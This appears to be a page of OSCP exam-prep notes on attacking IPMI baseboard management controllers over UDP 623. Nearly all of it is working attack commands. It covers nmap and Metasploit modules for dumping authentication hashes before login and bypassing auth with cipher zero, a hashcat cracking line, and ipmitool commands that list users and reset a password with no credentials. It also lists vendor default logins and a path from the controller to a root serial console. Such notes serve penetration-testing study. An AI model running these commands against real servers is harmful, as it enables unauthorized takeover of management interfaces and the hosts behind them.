📡

Ipmi (Udp 623)

Notes from oscp.adot8.com — services.

#services#adot8

source · oscp.adot8.com · services/ipmi-less-than-udp-623-greater-than ↗

IPMI <udp 623>

Out-of-band server management (iDRAC, iLO, IMM, SuperMicro). Almost always broken — dump the auth hash BEFORE auth.

Nmap

code

01nmap -sU -p623 --script ipmi-version,ipmi-cipher-zero $ip

Metasploit — two OSCP-worthy modules

code

01use auxiliary/scanner/ipmi/ipmi_version
02use auxiliary/scanner/ipmi/ipmi_dumphashes    # CVE-2013-4786
03use auxiliary/scanner/ipmi/ipmi_cipher_zero   # auth bypass

ipmi_dumphashes returns hashcat -m 7300 format:

code

01hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt

Cipher-zero login (no password!)

code

01sudo apt install ipmitool
02ipmitool -I lanplus -C 0 -H $ip -U Administrator -P '' user list
03ipmitool -I lanplus -C 0 -H $ip -U Administrator -P '' user set password 2 'newpass!'

Default creds

code

01ipmitool -I lanplus -H $ip -U ADMIN -P ADMIN user list      # SuperMicro
02ipmitool -I lanplus -H $ip -U root  -P calvin user list     # Dell iDRAC
03ipmitool -I lanplus -H $ip -U Administrator -P admin user list

Post-exploitation → OS shell

Once BMC is yours, SSH to the BMC and get the OS console:

code

01ssh admin@$ip
02> sol activate

You now have the physical serial console — often a root shell on Linux hosts.